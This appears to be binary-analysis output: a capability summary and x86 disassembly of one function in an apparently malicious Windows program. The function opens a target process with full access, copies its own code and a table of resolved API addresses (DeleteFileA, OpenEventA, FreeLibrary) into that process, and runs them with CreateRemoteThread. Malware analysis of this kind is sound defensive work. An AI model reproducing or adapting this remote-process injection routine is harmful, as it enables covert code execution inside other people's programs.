Function at 0x40146c
Capabilities:
Create thread
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
nop
push dword [ebp + 0x10]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
test eax, eax
mov dword [ebp - 4], eax
jne 0x40148c
leave
ret
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
and dword [ebp - 0x1c], 0
mov ebx, 0x1000
push ebx
push eax
mov dword [ebp - 8], eax
call fcn.004019c7
mov edi, 0x10000
mov esi, eax
push edi
push dword [ebp - 8]
call fcn.004019c7
push ebx
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
call fcn.004019c7
push ebx
mov dword [ebp - 0x14], eax
push dword [ebp - 4]
call fcn.004019c7
add esp, 0x20
mov dword [ebp - 0x18], eax
test esi, esi
je 0x40166b
cmp dword [ebp - 0x10], 0
je 0x40166b
cmp dword [ebp - 0x14], 0
je 0x40166b
test eax, eax
je 0x40166b
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push edi
push 0
mov dword [ebp + 0x10], eax
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push 0
push edi
push dword [ebp - 0xc]
push dword [ebp + 0x10]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
push 9
push 0x40323c
push edi
push dword [ebp - 0xc]
call fcn.004016f4
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
add esp, 0x10
test eax, eax
je 0x401551
mov ecx, dword [ebp + 0x10]
add eax, ecx
jmp 0x40155b
push 0x403288
push dword [ebp + 0x10]
call edi
push dword [ebp - 0xc]
mov dword [esi], eax
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
push str.DeleteFileA
push dword [ebp + 0x10]
call edi
push str.OpenEventA
mov dword [esi + 4], eax
push dword [ebp + 0x10]
call edi
push 0x403268
mov dword [esi + 8], eax
push dword [ebp + 0x10]
call edi
push 0x40325c
mov dword [esi + 0xc], eax
push dword [ebp + 0x10]
call edi
push str.FreeLibrary
mov dword [esi + 0x10], eax
push dword [ebp + 0x10]
call edi
mov dword [esi + 0x14], eax
lea eax, [esi + 0x18]
test eax, eax
je 0x4015c2
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [esi + 0x11c]
test eax, eax
je 0x4015d7
push dword [ebp + 0xc]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [esi + 0x220]
push str.95594470
push eax
call sub.MSVCRT.dll_strcpy
mov edi, fcn.0040146c
mov eax, 0x4013f8
sub edi, eax
push edi
push dword [ebp - 0x10]
push eax
push dword [ebp - 8]
call fcn.00401737
add esp, 0x18
test eax, eax
je 0x401652
push 0x230
push esi
push dword [ebp - 0x14]
push dword [ebp - 4]
call fcn.00401787
add esp, 0x10
test eax, eax
je 0x401652
push edi
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push dword [ebp - 4]
call fcn.00401787
add esp, 0x10
test eax, eax
je 0x401652
xor eax, eax
push eax
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 0x400
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov dword [ebp - 0x1c], eax
push ebx
push esi
push dword [ebp - 8]
call fcn.004019df
push ebx
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.004019df
add esp, 0x18
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
leave
ret